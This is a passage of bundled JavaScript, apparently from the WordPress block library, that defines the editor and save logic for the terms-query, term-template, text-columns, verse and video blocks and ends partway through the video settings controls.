55574const variations_titleDate = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 48 48", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Path, { d: "M 41,9 H 7 v 3 h 34 z m 0,9 H 7 v 3 h 34 z m 0,18 H 7 v 3 h 34 z m 0,-9 H 7 v 3 h 34 z" }) });
55575const variations_titleExcerpt = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 48 48", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Path, { d: "m 36,36 h 5 v 3 h -5 z m 0,-9 h 5 v 3 h -5 z m 0,-9 h 5 v 3 h -5 z m 0,-9 h 5 v 3 H 36 Z M 31,9 H 7 v 3 h 24 z m 0,9 H 7 v 3 h 24 z m 0,18 H 7 v 3 h 24 z m 0,-9 H 7 v 3 h 24 z" }) });
55576const termName = [
55577 "core/term-name",
55578 {
55579 isLink: true
55580 }
55581];
55582const terms_query_variations_variations = [
55583 {
55584 name: "name",
55585 title: (0,external_wp_i18n_namespaceObject.__)("Name"),
55586 description: (0,external_wp_i18n_namespaceObject.__)("Display the terms' names."),
55587 attributes: {},
55588 icon: variations_titleDate,
55589 scope: ["block"],
55590 innerBlocks: [["core/term-template", {}, [termName]]]
55591 },
55592 {
55593 name: "name-count",
55594 title: (0,external_wp_i18n_namespaceObject.__)("Name & Count"),
55595 description: (0,external_wp_i18n_namespaceObject.__)(
55596 "Display the terms' names and number of posts assigned to each term."
55597 ),
55598 attributes: {},
55599 icon: variations_titleExcerpt,
55600 scope: ["block"],
55601 innerBlocks: [
55602 [
55603 "core/term-template",
55604 {},
55605 [
55606 [
55607 "core/group",
55608 { layout: { type: "flex", flexWrap: "nowrap" } },
55609 [termName, ["core/term-count"]]
55610 ]
55611 ]
55612 ]
55613 ]
55614 }
55615];
55616var terms_query_variations_variations_default = terms_query_variations_variations;
55617
55618
55619;// ./node_modules/@wordpress/block-library/build-module/terms-query/index.js
55620
55621
55622
55623
55624
55625
55626const { name: terms_query_name } = terms_query_block_namespaceObject;
55627const terms_query_settings = {
55628 icon: loop_default,
55629 edit: terms_query_edit_edit_default,
55630 save: terms_query_save_save,
55631 example: {},
55632 variations: terms_query_variations_variations_default
55633};
55634const terms_query_init = () => initBlock({ name: terms_query_name, metadata: terms_query_block_namespaceObject, settings: terms_query_settings });
55635
55636
55637;// ./node_modules/@wordpress/block-library/build-module/term-template/block.json
55638const term_template_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/term-template","title":"Term Template","category":"theme","ancestor":["core/terms-query"],"description":"Contains the block elements used to render a taxonomy term, like the name, description, and more.","textdomain":"default","usesContext":["termQuery"],"supports":{"reusable":false,"html":false,"align":["wide","full"],"layout":true,"color":{"gradients":true,"link":true,"__experimentalDefaultControls":{"background":true,"text":true}},"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalLetterSpacing":true,"__experimentalDefaultControls":{"fontSize":true}},"spacing":{"margin":true,"padding":true,"blockGap":{"__experimentalDefault":"1.25em"},"__experimentalDefaultControls":{"blockGap":true,"padding":false,"margin":false}},"interactivity":{"clientNavigation":true},"__experimentalBorder":{"radius":true,"color":true,"width":true,"style":true}},"style":"wp-block-term-template","editorStyle":"wp-block-term-template-editor"}');
55639;// ./node_modules/@wordpress/block-library/build-module/term-template/edit.js
55640
55641
55642
55643
55644
55645
55646
55647
55648
55649const term_template_edit_TEMPLATE = [["core/term-name"]];
55650function TermTemplateInnerBlocks({ classList }) {
55651 const innerBlocksProps = (0,external_wp_blockEditor_namespaceObject.useInnerBlocksProps)(
55652 { className: dist_clsx("wp-block-term", classList) },
55653 { template: term_template_edit_TEMPLATE, __unstableDisableLayoutClassNames: true }
55654 );
55655 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("li", { ...innerBlocksProps });
55656}
55657function TermTemplateBlockPreview({
55658 blocks,
55659 blockContextId,
55660 classList,
55661 isHidden,
55662 setActiveBlockContextId
55663}) {
55664 const blockPreviewProps = (0,external_wp_blockEditor_namespaceObject.__experimentalUseBlockPreview)({
55665 blocks,
55666 props: {
55667 className: dist_clsx("wp-block-term", classList)
55668 }
55669 });
55670 const handleOnClick = () => {
55671 setActiveBlockContextId(blockContextId);
55672 };
55673 const style = {
55674 display: isHidden ? "none" : void 0
55675 };
55676 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
55677 "li",
55678 {
55679 ...blockPreviewProps,
55680 tabIndex: 0,
55681 role: "button",
55682 onClick: handleOnClick,
55683 onKeyPress: handleOnClick,
55684 style
55685 }
55686 );
55687}
55688const MemoizedTermTemplateBlockPreview = (0,external_wp_element_namespaceObject.memo)(TermTemplateBlockPreview);
55689function TermTemplateEdit({
55690 clientId,
55691 attributes: { layout },
55692 setAttributes,
55693 context: {
55694 termQuery: {
55695 taxonomy,
55696 order,
55697 orderBy,
55698 hideEmpty,
55699 showNested = false,
55700 perPage,
55701 include
55702 } = {}
55703 },
55704 __unstableLayoutClassNames
55705}) {
55706 const { type: layoutType, columnCount = 3 } = layout || {};
55707 const [activeBlockContextId, setActiveBlockContextId] = (0,external_wp_element_namespaceObject.useState)();
55708 const queryArgs = {
55709 hide_empty: hideEmpty,
55710 order,
55711 orderby: orderBy,
55712 // There is a mismatch between `WP_Term_Query` and the REST API parameter default
55713 // values to fetch all items. In `WP_Term_Query`, the default is `''|0` and in
55714 // the REST API is `-1`.
55715 per_page: perPage || -1
55716 };
55717 if (!showNested && !include?.length) {
55718 queryArgs.parent = 0;
55719 }
55720 if (include?.length) {
55721 queryArgs.include = include;
55722 queryArgs.orderby = "include";
55723 queryArgs.order = "asc";
55724 }
55725 const { records: terms } = (0,external_wp_coreData_namespaceObject.useEntityRecords)(
55726 "taxonomy",
55727 taxonomy,
55728 queryArgs
55729 );
55730 const blocks = (0,external_wp_data_namespaceObject.useSelect)(
55731 (select) => select(external_wp_blockEditor_namespaceObject.store).getBlocks(clientId),
55732 [clientId]
55733 );
55734 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({
55735 className: __unstableLayoutClassNames
55736 });
55737 const blockContexts = (0,external_wp_element_namespaceObject.useMemo)(
55738 () => terms?.map((term) => ({
55739 taxonomy,
55740 termId: term.id,
55741 classList: `term-${term.id}`,
55742 termData: term
55743 })),
55744 [terms, taxonomy]
55745 );
55746 if (!terms) {
55747 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("ul", { ...blockProps, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("li", { className: "wp-block-term term-loading", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "term-loading-placeholder" }) }) });
55748 }
55749 if (!terms.length) {
55750 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("p", { ...blockProps, children: [
55751 " ",
55752 (0,external_wp_i18n_namespaceObject.__)("No terms found.")
55753 ] });
55754 }
55755 const setDisplayLayout = (newDisplayLayout) => setAttributes((prevAttributes) => ({
55756 layout: { ...prevAttributes.layout, ...newDisplayLayout }
55757 }));
55758 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
55759 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
55760 external_wp_components_namespaceObject.ToolbarGroup,
55761 {
55762 controls: [
55763 {
55764 icon: list_default,
55765 title: (0,external_wp_i18n_namespaceObject._x)(
55766 "List view",
55767 "Term template block display setting"
55768 ),
55769 onClick: () => setDisplayLayout({ type: "default" }),
55770 isActive: layoutType === "default" || layoutType === "constrained"
55771 },
55772 {
55773 icon: grid_default,
55774 title: (0,external_wp_i18n_namespaceObject._x)(
55775 "Grid view",
55776 "Term template block display setting"
55777 ),
55778 onClick: () => setDisplayLayout({
55779 type: "grid",
55780 columnCount
55781 }),
55782 isActive: layoutType === "grid"
55783 }
55784 ]
55785 }
55786 ) }),
55787 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("ul", { ...blockProps, children: blockContexts?.map((blockContext) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
55788 external_wp_blockEditor_namespaceObject.BlockContextProvider,
55789 {
55790 value: blockContext,
55791 children: [
55792 blockContext.termId === (activeBlockContextId || blockContexts[0]?.termId) ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
55793 TermTemplateInnerBlocks,
55794 {
55795 classList: blockContext.classList
55796 }
55797 ) : null,
55798 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
55799 MemoizedTermTemplateBlockPreview,
55800 {
55801 blocks,
55802 blockContextId: blockContext.termId,
55803 classList: blockContext.classList,
55804 setActiveBlockContextId,
55805 isHidden: blockContext.termId === (activeBlockContextId || blockContexts[0]?.termId)
55806 }
55807 )
55808 ]
55809 },
55810 blockContext.termId
55811 )) })
55812 ] });
55813}
55814
55815
55816;// ./node_modules/@wordpress/block-library/build-module/term-template/save.js
55817
55818
55819function TermTemplateSave() {
55820 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InnerBlocks.Content, {});
55821}
55822
55823
55824;// ./node_modules/@wordpress/block-library/build-module/term-template/index.js
55825
55826
55827
55828
55829
55830const { name: term_template_name } = term_template_block_namespaceObject;
55831const term_template_settings = {
55832 icon: layout_default,
55833 edit: TermTemplateEdit,
55834 save: TermTemplateSave,
55835 example: {}
55836};
55837const term_template_init = () => initBlock({ name: term_template_name, metadata: term_template_block_namespaceObject, settings: term_template_settings });
55838
55839
55840;// ./node_modules/@wordpress/block-library/build-module/text-columns/edit.js
55841
55842
55843
55844
55845
55846function TextColumnsEdit({ attributes, setAttributes }) {
55847 const { width, content, columns } = attributes;
55848 external_wp_deprecated_default()("The Text Columns block", {
55849 since: "5.3",
55850 alternative: "the Columns block"
55851 });
55852 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
55853 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
55854 external_wp_blockEditor_namespaceObject.BlockAlignmentToolbar,
55855 {
55856 value: width,
55857 onChange: (nextWidth) => setAttributes({ width: nextWidth }),
55858 controls: ["center", "wide", "full"]
55859 }
55860 ) }),
55861 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.PanelBody, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
55862 external_wp_components_namespaceObject.RangeControl,
55863 {
55864 __nextHasNoMarginBottom: true,
55865 __next40pxDefaultSize: true,
55866 label: (0,external_wp_i18n_namespaceObject.__)("Columns"),
55867 value: columns,
55868 onChange: (value) => setAttributes({ columns: value }),
55869 min: 2,
55870 max: 4,
55871 required: true
55872 }
55873 ) }) }),
55874 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
55875 "div",
55876 {
55877 ...(0,external_wp_blockEditor_namespaceObject.useBlockProps)({
55878 className: `align${width} columns-${columns}`
55879 }),
55880 children: Array.from({ length: columns }).map((_, index) => {
55881 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
55882 "div",
55883 {
55884 className: "wp-block-column",
55885 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
55886 external_wp_blockEditor_namespaceObject.RichText,
55887 {
55888 tagName: "p",
55889 value: content?.[index]?.children,
55890 onChange: (nextContent) => {
55891 setAttributes({
55892 content: [
55893 ...content.slice(0, index),
55894 { children: nextContent },
55895 ...content.slice(index + 1)
55896 ]
55897 });
55898 },
55899 "aria-label": (0,external_wp_i18n_namespaceObject.sprintf)(
55900 // translators: %d: column index (starting with 1)
55901 (0,external_wp_i18n_namespaceObject.__)("Column %d text"),
55902 index + 1
55903 ),
55904 placeholder: (0,external_wp_i18n_namespaceObject.__)("New Column")
55905 }
55906 )
55907 },
55908 `column-${index}`
55909 );
55910 })
55911 }
55912 )
55913 ] });
55914}
55915
55916
55917;// ./node_modules/@wordpress/block-library/build-module/text-columns/block.json
55918const text_columns_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/text-columns","title":"Text Columns (deprecated)","icon":"columns","category":"design","description":"This block is deprecated. Please use the Columns block instead.","textdomain":"default","attributes":{"content":{"type":"array","source":"query","selector":"p","query":{"children":{"type":"string","source":"html"}},"default":[{},{}]},"columns":{"type":"number","default":2},"width":{"type":"string"}},"supports":{"inserter":false,"interactivity":{"clientNavigation":true}},"editorStyle":"wp-block-text-columns-editor","style":"wp-block-text-columns"}');
55919;// ./node_modules/@wordpress/block-library/build-module/text-columns/save.js
55920
55921
55922function text_columns_save_save({ attributes }) {
55923 const { width, content, columns } = attributes;
55924 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
55925 "div",
55926 {
55927 ...external_wp_blockEditor_namespaceObject.useBlockProps.save({
55928 className: `align${width} columns-${columns}`
55929 }),
55930 children: Array.from({ length: columns }).map((_, index) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "wp-block-column", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
55931 external_wp_blockEditor_namespaceObject.RichText.Content,
55932 {
55933 tagName: "p",
55934 value: content?.[index]?.children
55935 }
55936 ) }, `column-${index}`))
55937 }
55938 );
55939}
55940
55941
55942;// ./node_modules/@wordpress/block-library/build-module/text-columns/transforms.js
55943
55944const text_columns_transforms_transforms = {
55945 to: [
55946 {
55947 type: "block",
55948 blocks: ["core/columns"],
55949 transform: ({ className, columns, content, width }) => (0,external_wp_blocks_namespaceObject.createBlock)(
55950 "core/columns",
55951 {
55952 align: "wide" === width || "full" === width ? width : void 0,
55953 className,
55954 columns
55955 },
55956 content.map(
55957 ({ children }) => (0,external_wp_blocks_namespaceObject.createBlock)("core/column", {}, [
55958 (0,external_wp_blocks_namespaceObject.createBlock)("core/paragraph", {
55959 content: children
55960 })
55961 ])
55962 )
55963 )
55964 }
55965 ]
55966};
55967var text_columns_transforms_transforms_default = text_columns_transforms_transforms;
55968
55969
55970;// ./node_modules/@wordpress/block-library/build-module/text-columns/index.js
55971
55972
55973
55974
55975
55976const { name: text_columns_name } = text_columns_block_namespaceObject;
55977const text_columns_settings = {
55978 transforms: text_columns_transforms_transforms_default,
55979 getEditWrapperProps(attributes) {
55980 const { width } = attributes;
55981 if ("wide" === width || "full" === width) {
55982 return { "data-align": width };
55983 }
55984 },
55985 edit: TextColumnsEdit,
55986 save: text_columns_save_save
55987};
55988const text_columns_init = () => initBlock({ name: text_columns_name, metadata: text_columns_block_namespaceObject, settings: text_columns_settings });
55989
55990
55991;// ./node_modules/@wordpress/block-library/build-module/verse/deprecated.js
55992
55993
55994
55995
55996const verse_deprecated_v1 = {
55997 attributes: {
55998 content: {
55999 type: "string",
56000 source: "html",
56001 selector: "pre",
56002 default: ""
56003 },
56004 textAlign: {
56005 type: "string"
56006 }
56007 },
56008 save({ attributes }) {
56009 const { textAlign, content } = attributes;
56010 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56011 external_wp_blockEditor_namespaceObject.RichText.Content,
56012 {
56013 tagName: "pre",
56014 style: { textAlign },
56015 value: content
56016 }
56017 );
56018 }
56019};
56020const verse_deprecated_v2 = {
56021 attributes: {
56022 content: {
56023 type: "string",
56024 source: "html",
56025 selector: "pre",
56026 default: "",
56027 __unstablePreserveWhiteSpace: true,
56028 role: "content"
56029 },
56030 textAlign: {
56031 type: "string"
56032 }
56033 },
56034 supports: {
56035 anchor: true,
56036 color: {
56037 gradients: true,
56038 link: true
56039 },
56040 typography: {
56041 fontSize: true,
56042 __experimentalFontFamily: true
56043 },
56044 spacing: {
56045 padding: true
56046 }
56047 },
56048 save({ attributes }) {
56049 const { textAlign, content } = attributes;
56050 const className = dist_clsx({
56051 [`has-text-align-${textAlign}`]: textAlign
56052 });
56053 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("pre", { ...external_wp_blockEditor_namespaceObject.useBlockProps.save({ className }), children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.RichText.Content, { value: content }) });
56054 },
56055 migrate: migrate_font_family_default,
56056 isEligible({ style }) {
56057 return style?.typography?.fontFamily;
56058 }
56059};
56060var verse_deprecated_deprecated_default = [verse_deprecated_v2, verse_deprecated_v1];
56061
56062
56063;// ./node_modules/@wordpress/block-library/build-module/verse/edit.js
56064
56065
56066
56067
56068
56069function VerseEdit({
56070 attributes,
56071 setAttributes,
56072 mergeBlocks,
56073 onRemove,
56074 insertBlocksAfter,
56075 style
56076}) {
56077 const { textAlign, content } = attributes;
56078 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({
56079 className: dist_clsx({
56080 [`has-text-align-${textAlign}`]: textAlign
56081 }),
56082 style
56083 });
56084 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
56085 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56086 external_wp_blockEditor_namespaceObject.AlignmentToolbar,
56087 {
56088 value: textAlign,
56089 onChange: (nextAlign) => {
56090 setAttributes({ textAlign: nextAlign });
56091 }
56092 }
56093 ) }),
56094 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56095 external_wp_blockEditor_namespaceObject.RichText,
56096 {
56097 tagName: "pre",
56098 identifier: "content",
56099 preserveWhiteSpace: true,
56100 value: content,
56101 onChange: (nextContent) => {
56102 setAttributes({
56103 content: nextContent
56104 });
56105 },
56106 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Verse text"),
56107 placeholder: (0,external_wp_i18n_namespaceObject.__)("Write verse\u2026"),
56108 onRemove,
56109 onMerge: mergeBlocks,
56110 textAlign,
56111 ...blockProps,
56112 __unstablePastePlainText: true,
56113 __unstableOnSplitAtDoubleLineEnd: () => insertBlocksAfter((0,external_wp_blocks_namespaceObject.createBlock)((0,external_wp_blocks_namespaceObject.getDefaultBlockName)()))
56114 }
56115 )
56116 ] });
56117}
56118
56119
56120;// ./node_modules/@wordpress/block-library/build-module/verse/block.json
56121const verse_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/verse","title":"Verse","category":"text","description":"Insert poetry. Use special spacing formats. Or quote song lyrics.","keywords":["poetry","poem"],"textdomain":"default","attributes":{"content":{"type":"rich-text","source":"rich-text","selector":"pre","__unstablePreserveWhiteSpace":true,"role":"content"},"textAlign":{"type":"string"}},"supports":{"anchor":true,"background":{"backgroundImage":true,"backgroundSize":true,"__experimentalDefaultControls":{"backgroundImage":true}},"color":{"gradients":true,"link":true,"__experimentalDefaultControls":{"background":true,"text":true}},"dimensions":{"minHeight":true,"__experimentalDefaultControls":{"minHeight":false}},"typography":{"fontSize":true,"__experimentalFontFamily":true,"lineHeight":true,"__experimentalFontStyle":true,"__experimentalFontWeight":true,"__experimentalLetterSpacing":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalWritingMode":true,"__experimentalDefaultControls":{"fontSize":true}},"spacing":{"margin":true,"padding":true,"__experimentalDefaultControls":{"margin":false,"padding":false}},"__experimentalBorder":{"radius":true,"width":true,"color":true,"style":true},"interactivity":{"clientNavigation":true}},"style":"wp-block-verse","editorStyle":"wp-block-verse-editor"}');
56122;// ./node_modules/@wordpress/block-library/build-module/verse/save.js
56123
56124
56125
56126function verse_save_save({ attributes }) {
56127 const { textAlign, content } = attributes;
56128 const className = dist_clsx({
56129 [`has-text-align-${textAlign}`]: textAlign
56130 });
56131 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("pre", { ...external_wp_blockEditor_namespaceObject.useBlockProps.save({ className }), children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.RichText.Content, { value: content }) });
56132}
56133
56134
56135;// ./node_modules/@wordpress/block-library/build-module/verse/transforms.js
56136
56137const verse_transforms_transforms = {
56138 from: [
56139 {
56140 type: "block",
56141 blocks: ["core/paragraph"],
56142 transform: (attributes) => (0,external_wp_blocks_namespaceObject.createBlock)("core/verse", attributes)
56143 }
56144 ],
56145 to: [
56146 {
56147 type: "block",
56148 blocks: ["core/paragraph"],
56149 transform: (attributes) => (0,external_wp_blocks_namespaceObject.createBlock)("core/paragraph", attributes)
56150 }
56151 ]
56152};
56153var verse_transforms_transforms_default = verse_transforms_transforms;
56154
56155
56156;// ./node_modules/@wordpress/block-library/build-module/verse/index.js
56157
56158
56159
56160
56161
56162
56163
56164
56165const { name: verse_name } = verse_block_namespaceObject;
56166const verse_settings = {
56167 icon: verse_default,
56168 example: {
56169 attributes: {
56170 /* eslint-disable @wordpress/i18n-no-collapsible-whitespace */
56171 // translators: Sample content for the Verse block. Can be replaced with a more locale-adequate work.
56172 content: (0,external_wp_i18n_namespaceObject.__)(
56173 "WHAT was he doing, the great god Pan,\n Down in the reeds by the river?\nSpreading ruin and scattering ban,\nSplashing and paddling with hoofs of a goat,\nAnd breaking the golden lilies afloat\n With the dragon-fly on the river."
56174 )
56175 /* eslint-enable @wordpress/i18n-no-collapsible-whitespace */
56176 }
56177 },
56178 transforms: verse_transforms_transforms_default,
56179 deprecated: verse_deprecated_deprecated_default,
56180 merge(attributes, attributesToMerge) {
56181 return {
56182 content: attributes.content + "\n\n" + attributesToMerge.content
56183 };
56184 },
56185 edit: VerseEdit,
56186 save: verse_save_save
56187};
56188const verse_init = () => initBlock({ name: verse_name, metadata: verse_block_namespaceObject, settings: verse_settings });
56189
56190
56191;// ./node_modules/@wordpress/icons/build-module/library/video.js
56192
56193
56194var video_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M18.7 3H5.3C4 3 3 4 3 5.3v13.4C3 20 4 21 5.3 21h13.4c1.3 0 2.3-1 2.3-2.3V5.3C21 4 20 3 18.7 3zm.8 15.7c0 .4-.4.8-.8.8H5.3c-.4 0-.8-.4-.8-.8V5.3c0-.4.4-.8.8-.8h13.4c.4 0 .8.4.8.8v13.4zM10 15l5-3-5-3v6z" }) });
56195
56196
56197;// ./node_modules/@wordpress/block-library/build-module/video/block.json
56198const video_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/video","title":"Video","category":"media","description":"Embed a video from your media library or upload a new one.","keywords":["movie"],"textdomain":"default","attributes":{"autoplay":{"type":"boolean","source":"attribute","selector":"video","attribute":"autoplay"},"caption":{"type":"rich-text","source":"rich-text","selector":"figcaption","role":"content"},"controls":{"type":"boolean","source":"attribute","selector":"video","attribute":"controls","default":true},"id":{"type":"number","role":"content"},"loop":{"type":"boolean","source":"attribute","selector":"video","attribute":"loop"},"muted":{"type":"boolean","source":"attribute","selector":"video","attribute":"muted"},"poster":{"type":"string","source":"attribute","selector":"video","attribute":"poster"},"preload":{"type":"string","source":"attribute","selector":"video","attribute":"preload","default":"metadata"},"blob":{"type":"string","role":"local"},"src":{"type":"string","source":"attribute","selector":"video","attribute":"src","role":"content"},"playsInline":{"type":"boolean","source":"attribute","selector":"video","attribute":"playsinline"},"tracks":{"role":"content","type":"array","items":{"type":"object"},"default":[]}},"supports":{"anchor":true,"align":true,"spacing":{"margin":true,"padding":true,"__experimentalDefaultControls":{"margin":false,"padding":false}},"interactivity":{"clientNavigation":true}},"editorStyle":"wp-block-video-editor","style":"wp-block-video"}');
56199;// ./node_modules/@wordpress/block-library/build-module/video/tracks.js
56200
56201function Tracks({ tracks = [] }) {
56202 return tracks.map((track) => {
56203 const { id, ...trackAttrs } = track;
56204 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("track", { ...trackAttrs }, id ?? trackAttrs.src);
56205 });
56206}
56207
56208
56209;// ./node_modules/@wordpress/block-library/build-module/video/deprecated.js
56210
56211
56212
56213
56214const { attributes: video_deprecated_blockAttributes } = video_block_namespaceObject;
56215const video_deprecated_v1 = {
56216 attributes: video_deprecated_blockAttributes,
56217 save({ attributes }) {
56218 const {
56219 autoplay,
56220 caption,
56221 controls,
56222 loop,
56223 muted,
56224 poster,
56225 preload,
56226 src,
56227 playsInline,
56228 tracks
56229 } = attributes;
56230 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("figure", { ...external_wp_blockEditor_namespaceObject.useBlockProps.save(), children: [
56231 src && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56232 "video",
56233 {
56234 autoPlay: autoplay,
56235 controls,
56236 loop,
56237 muted,
56238 poster,
56239 preload: preload !== "metadata" ? preload : void 0,
56240 src,
56241 playsInline,
56242 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Tracks, { tracks })
56243 }
56244 ),
56245 !external_wp_blockEditor_namespaceObject.RichText.isEmpty(caption) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.RichText.Content, { tagName: "figcaption", value: caption })
56246 ] });
56247 }
56248};
56249const video_deprecated_deprecated = [video_deprecated_v1];
56250var video_deprecated_deprecated_default = video_deprecated_deprecated;
56251
56252
56253;// ./node_modules/@wordpress/block-library/build-module/video/edit-common-settings.js
56254
56255
56256
56257
56258const options = [
56259 { value: "auto", label: (0,external_wp_i18n_namespaceObject.__)("Auto") },
56260 { value: "metadata", label: (0,external_wp_i18n_namespaceObject.__)("Metadata") },
56261 { value: "none", label: (0,external_wp_i18n_namespaceObject._x)("None", "Preload value") }
56262];
56263const VideoSettings = ({ setAttributes, attributes }) => {
56264 const { autoplay, controls, loop, muted, playsInline, preload } = attributes;
56265 const autoPlayHelpText = (0,external_wp_i18n_namespaceObject.__)(
56266 "Autoplay may cause usability issues for some users."
56267 );
56268 const getAutoplayHelp = external_wp_element_namespaceObject.Platform.select({
56269 web: (0,external_wp_element_namespaceObject.useCallback)((checked) => {
56270 return checked ? autoPlayHelpText : null;
56271 }, []),
56272 native: autoPlayHelpText
56273 });
56274 const toggleFactory = (0,external_wp_element_namespaceObject.useMemo)(() => {
56275 const toggleAttribute = (attribute) => {
56276 return (newValue) => {
56277 setAttributes({
56278 [attribute]: newValue,
56279 // Set muted and playsInLine when autoplay changes
56280 // playsInline is set to true when autoplay is true to support iOS devices
56281 ...attribute === "autoplay" && {
56282 muted: newValue,
56283 playsInline: newValue
56284 }
56285 });
56286 };
56287 };
56288 return {
56289 autoplay: toggleAttribute("autoplay"),
56290 loop: toggleAttribute("loop"),
56291 muted: toggleAttribute("muted"),
56292 controls: toggleAttribute("controls"),
56293 playsInline: toggleAttribute("playsInline")
56294 };
56295 }, []);
56296 const onChangePreload = (0,external_wp_element_namespaceObject.useCallback)((value) => {
56297 setAttributes({ preload: value });
56298 }, []);
56299 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
56300 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56301 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
56302 {
56303 label: (0,external_wp_i18n_namespaceObject.__)("Autoplay"),
56304 isShownByDefault: true,
56305 hasValue: () => !!autoplay,
56306 onDeselect: () => {
56307 setAttributes({ autoplay: false, muted: false });
56308 },
56309 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56310 external_wp_components_namespaceObject.ToggleControl,
56311 {
56312 __nextHasNoMarginBottom: true,
56313 label: (0,external_wp_i18n_namespaceObject.__)("Autoplay"),
56314 onChange: toggleFactory.autoplay,
56315 checked: !!autoplay,
56316 help: getAutoplayHelp
56317 }
56318 )
56319 }
56320 ),
56321 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56322 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
56323 {
56324 label: (0,external_wp_i18n_namespaceObject.__)("Loop"),
56325 isShownByDefault: true,
